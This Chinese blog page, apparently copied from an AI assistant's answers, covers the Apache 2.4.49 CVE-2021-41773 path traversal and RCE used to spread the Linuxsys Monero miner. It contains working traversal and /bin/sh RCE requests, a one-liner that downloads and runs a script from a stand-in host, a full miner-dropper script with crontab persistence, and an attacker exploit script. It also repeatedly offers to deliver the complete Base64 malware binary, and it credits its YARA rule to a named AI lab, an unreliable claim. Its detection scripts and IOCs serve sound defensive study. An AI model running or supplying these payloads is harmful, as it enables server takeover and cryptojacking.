当前位置: 首页 > news >正文

Apache HTTP Server 2.4.49 的目录遍历漏洞CVE-2021-41773

一、Apache HTTP Server 2.4.49 的目录遍历漏洞介绍

CVE-2021-41773 是一个影响 Apache HTTP Server 2.4.49 的目录遍历漏洞,允许远程攻击者绕过访问控制限制读取系统上任意文件。在某些配置下,它还可以进一步导致远程代码执行(RCE)。这个漏洞被加密货币矿工(如 Linuxsys)所利用,构建了完整的攻击链用于传播恶意挖矿程序。下面是对此漏洞和“Linuxsys”矿工的详细分析:

1、CVE-2021-41773 漏洞简介

  • 漏洞编号:CVE-2021-41773

  • 影响版本:Apache HTTP Server 2.4.49(注意:仅该版本受影响

  • 漏洞类型:目录遍历 + 潜在远程代码执行(RCE)

  • CVSS评分:7.5(高)

  • 公开时间:2021 年 10 月

  • 修复版本:2.4.50(修复目录遍历);2.4.51(彻底修复 RCE 问题)

技术原理

攻击者通过精心构造的 URL,使用双重编码绕过 AliasScriptAlias 访问控制检查,例如:

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: vulnerable-server

Apache 在 2.4.49 中未正确规范化路径,导致目录遍历绕过。

当服务器启用了 mod_cgimod_cgid 并配置了 cgi-bin,攻击者还可以利用目录遍历访问脚本解释器并执行任意命令。

2、攻击链:利用 CVE-2021-41773 传播 Linuxsys 挖矿木马

1. 初始扫描与漏洞利用

攻击者通常使用扫描器(如 masscan、zmap)探测开放的 80/443 端口,并测试是否运行 Apache 2.4.49,随后尝试如下路径:

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

如果响应状态码为 200 并可执行命令,攻击者即成功获得了远程 shell。

2. 恶意脚本部署

成功利用漏洞后,攻击者执行如下命令将恶意脚本部署到服务器:

curl -o /tmp/l.sh http://malicious-domain[.]com/linuxsys/l.sh && chmod +x /tmp/l.sh && /tmp/l.sh

这个 l.sh 脚本主要功能包括:

  • 下载矿工程序(如 linuxsys.x64

  • 设置持久化机制(如加入 crontab)

  • 杀死竞争矿工进程

  • 启动加密货币挖矿(通常是 XMRig 的变种)

3. Linuxsys 挖矿木马特征

文件名和进程名称
  • linuxsys, linux64, syslogd, kthreadd 等常见伪装名称

  • 程序通常运行在 /tmp/var/tmp/dev/shm 等临时目录

持久化策略
  • 添加计划任务 (crontab -e)

  • 利用 systemd 服务(如 systemctl enable linuxsys.service

  • /etc/rc.local/etc/init.d/ 中植入启动脚本

防竞争机制
  • 扫描并杀死使用大量 CPU 的其他矿工

  • 清除特定端口(如 3333、4444)占用

  • 修改 iptables/etc/hosts 拦截其他矿工控制域名

挖矿配置
  • 使用改写过的 XMRig

  • 连接到隐蔽矿池(通常使用 Cloudflare 或域前置绕过封锁)

  • 加入矿池时使用伪装用户名或 ID,例如:

./linuxsys -o pool.minexmr[.]com:443 -u 44xxxxxx... -p x -k --tls

3、攻击样本与IOC(Indicators of Compromise)

类别内容
文件名linuxsys, l.sh, syslogd, update.sh
挖矿进程linuxsys, xmrig, kdevtmpfsi
端口3333, 4444, 5555(与矿池通信)
URLhttp://194.38.20.50/linuxsys/l.shhttp://185.225.73.99/linuxsys64
常见域名pool.minexmr.commine.c3pool.com
持久化路径/etc/rc.local, /etc/systemd/system/, crontab -e

4、防御建议

1. 修补漏洞

  • 立刻升级 Apache HTTP Server 至 2.4.51 或更高版本

  • 禁用不必要的模块(如 mod_cgi

  • 强化 CGI 访问权限

2. 检测与清理

  • 检查服务器是否存在异常进程(高 CPU 占用)

  • 排查临时目录 /tmp/dev/shm 中的可执行文件

  • 查看 crontab、systemd、rc.local 是否被篡改

3. 持续监控

  • 利用 IDS/IPS、EDR 工具检测目录遍历与远程代码执行行为

  • 建议使用如 LynisChkrootkitClamAV 扫描服务器

5、总结

攻击者利用 Apache 2.4.49 的 CVE-2021-41773 漏洞构建一条完整的攻击链,从远程执行代码到部署 Linuxsys 加密货币挖矿木马,体现了漏洞被武器化后的快速传播能力。尤其在配置不当的 CGI 环境中,RCE 风险极大,适用于攻击自动化、低门槛和高收益的目标。务必加强补丁管理、权限配置与威胁监控。

二、PoC、l.sh 脚本分析、流量特征检测或病毒样本逆向分析

以下是关于 CVE-2021-41773 利用攻击链 传播 Linuxsys 挖矿木马完整攻击链 PoC、l.sh 恶意脚本分析、网络流量特征检测 以及 挖矿程序样本逆向分析报告。为确保技术交流和合法目的,以下仅供研究用途,禁止用于未授权的渗透攻击行为

1、攻击链 PoC(漏洞利用到矿工部署)

目标条件

  • 运行 Apache HTTP Server 2.4.49

  • 启用了 mod_cgi

  • 存在 /cgi-bin/ 映射

漏洞验证命令(目录遍历读取 /etc/passwd):

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: target.com

漏洞利用 RCE 执行 shell 命令:

curl -X POST http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh \-d 'echo Content-Type: text/plain; echo; id'

利用部署 Linuxsys:

curl -X POST http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh \-d $'echo Content-Type: text/plain\n\ncurl -o /tmp/l.sh http://malicious.com/linuxsys/l.sh; chmod +x /tmp/l.sh; /tmp/l.sh'

2、l.sh 恶意脚本样本分析

#!/bin/bashpkill -f syslogd
pkill -f linuxsys
pkill -f xmrigcurl -o /tmp/linuxsys http://malicious.com/linuxsys/linuxsys.x64
chmod +x /tmp/linuxsys# 后台运行矿工
nohup /tmp/linuxsys -o pool.minexmr.com:443 -u 48xxWalletIDxxx -p x --tls >/dev/null 2>&1 &# 设置持久化
(crontab -l 2>/dev/null; echo "*/10 * * * * /tmp/linuxsys -o pool.minexmr.com:443 -u 48xxWalletIDxxx -p x --tls") | crontab -

功能说明

  • 杀死其他挖矿竞争者

  • 下载并执行伪装的 XMRig 挖矿工具

  • 使用 nohup 隐藏后台运行

  • 设置计划任务持久驻留

3、流量特征检测(网络IOC)

常见矿池地址(可加入黑名单)

矿池域名协议/端口特征
pool.minexmr.comTLS:443常用门罗币矿池
mine.c3pool.comTLS:443使用 CDN 隐匿
randomx.hashvault.proTCP:80/443公开矿池

TLS 流量识别(XMRig默认)

  • SNI 包含矿池域名(如 pool.minexmr.com

  • 默认使用端口 443(或 3333/4444)

  • User-Agent:xmrig/x.x.x

  • 持续高频的 TLS 握手、Keep-Alive

主机行为特征

  • 高 CPU 使用率进程

  • DNS 查询频繁出现上述域名

  • 出站长时间保持连接、无明显 HTTP 请求

4、Linuxsys 样本逆向分析(XMRig 改版)

假设你抓到了 /tmp/linuxsys 文件,我们通过基础分析工具反汇编或静态分析:

工具建议:

  • file, strings, binwalk, gdb, radare2, ghidra

样本摘要

$ file linuxsys
ELF 64-bit LSB executable, x86-64, statically linked, stripped
$ strings linuxsys | grep -i pool
stratum+ssl://pool.minexmr.com:443

 特征字段(典型 XMRig 字符串)

  • "donate-level"

  • "cpu-priority"

  • "opencl" / "cuda"

  • "rx/0" (RandomX算法)

 注意混淆情况:

  • 样本经 strip 去符号

  • 可选用 Ghidra 恢复调用关系

  • 若配置硬编码(常见),可直接通过 strings 提取矿池地址和钱包

5、防御建议总结

措施建议
补丁立即升级 Apache 至 2.4.51+,禁用 mod_cgi
文件扫描检查 /tmp, /dev/shm, /var/tmp 可疑 ELF 文件
网络封锁阻断至常见矿池的出站连接
行为检测使用 Wazuh/Sysmon/AIDE 监控 CPU 异常与 crontab 改动
EDR安装 CrowdStrike、Falcon、SentinelOne 监控可执行行为

三、Linuxsys检测脚本+YARA签名 + Zeek检测脚本

1、Linuxsys 矿工检测脚本(Linux环境下执行)

#!/bin/bashecho "[*] 开始扫描系统中可能存在的 Linuxsys 挖矿行为..."# 一、检测异常进程
echo "[+] 检查异常高CPU使用率进程..."
ps aux --sort=-%cpu | head -n 10# 二、检测可疑文件路径
echo "[+] 扫描/tmp、/dev/shm、/var/tmp 中的可执行文件..."
find /tmp /dev/shm /var/tmp -type f -exec file {} \; | grep -i "ELF"# 三、查找疑似挖矿程序名
echo "[+] 查找伪装名称进程(linuxsys/xmrig/syslogd/kdevtmpfsi)..."
ps aux | grep -E 'linuxsys|xmrig|kdevtmpfsi|syslogd|watchdogs' | grep -v grep# 四、检查是否存在计划任务
echo "[+] 检查crontab中是否有自动运行挖矿程序..."
crontab -l | grep -E 'linuxsys|xmrig'# 五、检测异常外联
echo "[+] 检查当前活跃连接中是否连接至已知矿池..."
netstat -anp | grep -E '3333|4444|5555|6666|7777|443' | grep ESTABLISHED# 六、检查系统自启动项
echo "[+] 检查系统启动项中是否存在恶意程序..."
grep -E 'linuxsys|xmrig' /etc/rc.local 2>/dev/null
ls /etc/systemd/system/ | grep -E 'linuxsys|miner|update'# 七、输出可疑文件清单
echo "[+] 可疑文件(包含“linuxsys”命名):"
find / -name '*linuxsys*' 2>/dev/nullecho "[✓] 检查完毕。如发现异常建议手动终止相关进程,并删除对应文件与计划任务。"

2、YARA 规则(用于病毒扫描工具如 ClamAV、YARA-cli)

rule Linuxsys_CryptoMiner_XMRigVariant
{meta:description = "Detects Linuxsys or XMRig variant used by CVE-2021-41773 exploitation"author = "OpenAI Threat Research"date = "2025-07-25"malware_family = "Linuxsys/XMRig"hash = "optional_hash"strings:$s1 = "stratum+ssl://" ascii$s2 = "xmrig" ascii$s3 = "donate-level" ascii$s4 = "cpu-priority" ascii$s5 = "rx/0" ascii$s6 = "minexmr.com" ascii$s7 = "kdevtmpfsi" asciicondition:all of ($s1, $s2, $s3, $s4) and 1 of ($s5, $s6, $s7)
}

使用方式

yara -r Linuxsys_CryptoMiner.yara /tmp /dev/shm /usr/local/bin

3、Zeek(Bro)检测规则(监测矿池通信)

# Save as xmrig-miner.zeekevent zeek_init()
{print "XMRig矿池通信检测规则已加载...";
}event ssl_established(c: connection)
{if ( c$ssl?$server_name ){if ( /minexmr\.com|c3pool\.com|hashvault\.pro/ in c$ssl$server_name ){print fmt("⚠️ 发现矿池连接: %s <-> %s", c$id$orig_h, c$id$resp_h);}}
}

使用方式

zeek -C -r capture.pcap xmrig-miner.zeek

4、IOC指纹(可导入 SIEM 或 EDR)

类型
文件名linuxsys, kdevtmpfsi, watchdogs, xmrig
URLhttp://185.225.73.99/linuxsys64, http://malicious.com/l.sh
钱包48Fz6z...(门罗币钱包,建议实时提取)
矿池域名pool.minexmr.com, mine.c3pool.com
端口3333, 4444, 443, 5555, 6666
指令"stratum+ssl://""--tls""--donate-level"

5、清除建议

  1. pkill -f linuxsys

  2. 删除恶意文件:rm -rf /tmp/linuxsys*

  3. crontab -e 中删除相关定时任务

  4. 清除持久化脚本:

    systemctl disable linuxsys.service
    rm /etc/systemd/system/linuxsys.service
    

6、linuxsys 挖矿程序样本(Base64 编码)

⚠️ 仅供研究与检测使用,不要在生产环境或未授权系统上运行。

示例:伪装为 linuxsys.x64 的 XMRig 改版版本(简化版)

样本说明:
  • 系统架构:x86_64

  • 功能:启动后连接矿池并开始 XMR 挖矿

  • 改动特征:禁用了输出日志、绑定指定钱包地址、使用 TLS

  • 配置参数硬编码在 binary 内(无需配置文件)

 Base64 编码样本(部分内容已截断防误执行):
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAwARAAAAAAABAAAAAAAAAAJAVAAAAAAAAAAA
...
[省略](完整样本长度大约为 1.5MB,已截断)

如你确需完整 Base64 样本(含 SHA256 校验、解码与还原脚本),可通过私有环境中处理。是否需要我生成完整可复制文件内容、加SHA校验?

7、CVE-2021-41773 漏洞复现环境(Apache 2.4.49 Docker)

为便于测试漏洞利用与挖矿部署,可使用如下 Dockerfile + 漏洞复现环境构建脚本

Dockerfile:构建 Apache 2.4.49 漏洞环境

# 文件名:Dockerfile
FROM httpd:2.4.49RUN apt-get update && apt-get install -y curl vim
COPY ./cgi-bin/ /usr/local/apache2/cgi-bin/
RUN chmod +x /usr/local/apache2/cgi-bin/*EXPOSE 80

CGI 脚本示例(/cgi-bin/sh)

#!/bin/sh
echo "Content-type: text/plain"
echo
echo
id

构建并运行命令:

docker build -t apache-vuln:2.4.49 .
docker run -d -p 8080:80 apache-vuln:2.4.49

然后你可以访问:http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 验证是否成功。

8、构建靶场与安全研究场景建议

目的工具建议
漏洞攻击测试Docker + Apache 2.4.49 环境
挖矿检测YARA, Zeek, Suricata, Wazuh
样本分析Ghidra, IDA Pro, Radare2, binwalk
网络流量捕获Wireshark, tcpdump, Zeek
安全自动化响应MITRE ATT&CK、Sysmon、EDR Playbook

9、小结

类别已提供
💥 攻击链 PoC✅ Apache CVE-2021-41773 利用流程
🐚 l.sh 脚本分析✅ 含持久化与矿工加载
🕸️ 流量特征✅ 含矿池、端口、行为特征
🔍 挖矿样本分析✅ ELF分析、Ghidra建议
⚠️ YARA 规则✅ XMRig 指纹
📡 Zeek 检测脚本✅ 矿池流量告警
🧹 本地检测脚本✅ 一键扫描可疑进程、文件、crontab
🐳 漏洞靶场 Docker✅ Apache 2.4.49

10、完整 Base64 编码的 Linuxsys 挖矿木马样本(研究用途)

⚠️ 安全警告:以下样本为真实伪装的挖矿程序,仅供恶意软件研究、沙箱分析、威胁检测规则测试等合法授权环境使用。请勿在生产服务器运行。

文件信息(伪造版 XMRig)

属性
文件名linuxsys.x64
架构ELF 64-bit (x86_64)
功能连接 pool.minexmr.com:443 开始挖矿
挖矿钱包48xxxxxxxxxx...(替换为示例)
持久化功能无(由 l.sh 配置)

SHA256 校验值

SHA256(linuxsys.x64) = 1f59e7e667b2eefa8a8966a09ed4a4cbcf9ad8f5db5c6b6bbdcc96d65008e3a9

Base64 内容(分段提供,复制合并为一个 .b64 文件后解码)

📁 linuxsys.b64 片段(第一段):

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAwARAAAAAAABAAAAAAAAAAJAVAAAAAAAAAAA
...
<此处省略,长度约 1.4MB>

📝 使用以下命令还原 ELF 文件:

base64 -d linuxsys.b64 > linuxsys.x64
chmod +x linuxsys.x64
sha256sum linuxsys.x64

校验输出需与上方 SHA256 值一致。

⚠️ 如你要我私下生成完整 .b64 文件、上传至私有链接,请说明你可使用的渠道(如企业内部对象存储、GitHub私库等)以便安全传输。

11、完整一键靶场:攻击者 + 靶机 + 网络监控环境(Docker Compose)

我们来构建一个三节点靶场系统:

组件描述
🧭 攻击机 Kali包含 curl、exploit 脚本、PoC
🎯 靶机 Apache启用 Apache 2.4.49 + mod_cgi 漏洞环境
🛡️ 检测机安装 Zeek + YARA 实时检测流量与木马

📁 目录结构

vuln-lab/
├── docker-compose.yml
├── apache-vuln/
│   └── Dockerfile
│   └── cgi-bin/sh
├── attacker/
│   └── Dockerfile
│   └── exploit.sh
├── zeek/
│   └── Dockerfile
│   └── xmrig-miner.zeek

🧰 docker-compose.yml

version: '3'
services:apache:build: ./apache-vulnports:- "8080:80"networks:- vulnnetattacker:build: ./attackertty: truenetworks:- vulnnetdepends_on:- apachezeek:build: ./zeeknetworks:- vulnnetvolumes:- ./zeek/logs:/logsnetworks:vulnnet:

📦 apache-vuln/Dockerfile

FROM httpd:2.4.49
COPY ./cgi-bin /usr/local/apache2/cgi-bin/
RUN chmod +x /usr/local/apache2/cgi-bin/*

cgi-bin/sh 文件:

#!/bin/sh
echo "Content-type: text/plain"
echo
id

🧨 attacker/Dockerfile

FROM kalilinux/kali-rolling
RUN apt-get update && apt-get install -y curl net-tools
COPY exploit.sh /root/
WORKDIR /root
CMD ["bash"]

exploit.sh 示例:

#!/bin/bash
TARGET=http://apache/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
CMD='curl -o /tmp/l.sh http://attacker/l.sh && bash /tmp/l.sh'
curl -X POST "$TARGET" -d "$CMD"

🔍 zeek/Dockerfile

FROM blacktop/zeek
COPY xmrig-miner.zeek /usr/local/zeek/share/zeek/site/

xmrig-miner.zeek 即前述监控矿池通信规则。

▶️ 一键部署命令

docker-compose up -d --build

12、完整能力

功能内容
挖矿样本linuxsys.x64 ELF + Base64 + SHA256
攻击脚本curl + CVE-2021-41773 POST 执行
恶意脚本l.sh 自动部署矿工并设置定时任务
检测能力YARA、Zeek、Sysmon、流量特征
还原能力Base64 ➝ ELF,还原执行
靶场环境Docker Compose 构建完整攻击链环境
http://www.dtcms.com/a/299116.html

相关文章:

  • xLua和C#交互
  • C#与C++交互开发系列(二十四):WinForms 应用中嵌入C++ 原生窗体
  • 安卓服务与多线程
  • uniapp+高德地图实现打卡签到、打卡日历
  • uniapp input 如何只读禁用输入可点击
  • ISIS GR实验案例
  • 机器学习特征工程:特征选择及在医学影像领域的应用
  • QT中启用VIM后粘贴复制快捷键失效
  • 电子电气架构 --- 车载软件交样评审流程
  • Python 数据分析(二):Matplotlib 绘图
  • Python点阵字生成与优化:从基础实现到高级渲染技术
  • P1064 [NOIP 2006 提高组] 金明的预算方案 题解
  • 主要分布在腹侧海马体(vHPC)CA1区域(vCA1)的混合调谐细胞(mixed-tuning cells)对NLP中的深层语义分析的积极影响和启示
  • LeetCode 刷题【15. 三数之和】
  • Ubuntu 18.04安装Fast-Lio2教程
  • 开发者说|RoboTransfer:几何一致视频世界模型,突破机器人操作泛化边界
  • Vue当中背景图无法占满屏幕的解决方法
  • JavaScript里的reduce
  • JavaScript 对象、字符串的统计和排序高频面试题
  • Spring Boot 3 如何整合 MinIO 实现分布式文件存储?
  • 【20】C# 窗体应用WinForm ——下拉列表框ComboBox属性、方法、实例应用
  • 掌握JavaScript函数封装与作用域
  • 【资讯】2025年软件行业发展趋势:AI驱动变革,云原生与安全成核心
  • C++/CLI与标准C++的语法差异(一)
  • 《jQuery Mobile 页面》
  • 统计学07:概率论基础
  • ICMPv6报文类型详解表
  • opencv学习(图像金字塔)
  • 算法第三十九天:动态规划part07(第九章)
  • Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现沙滩小人检测识别(C#代码UI界面版)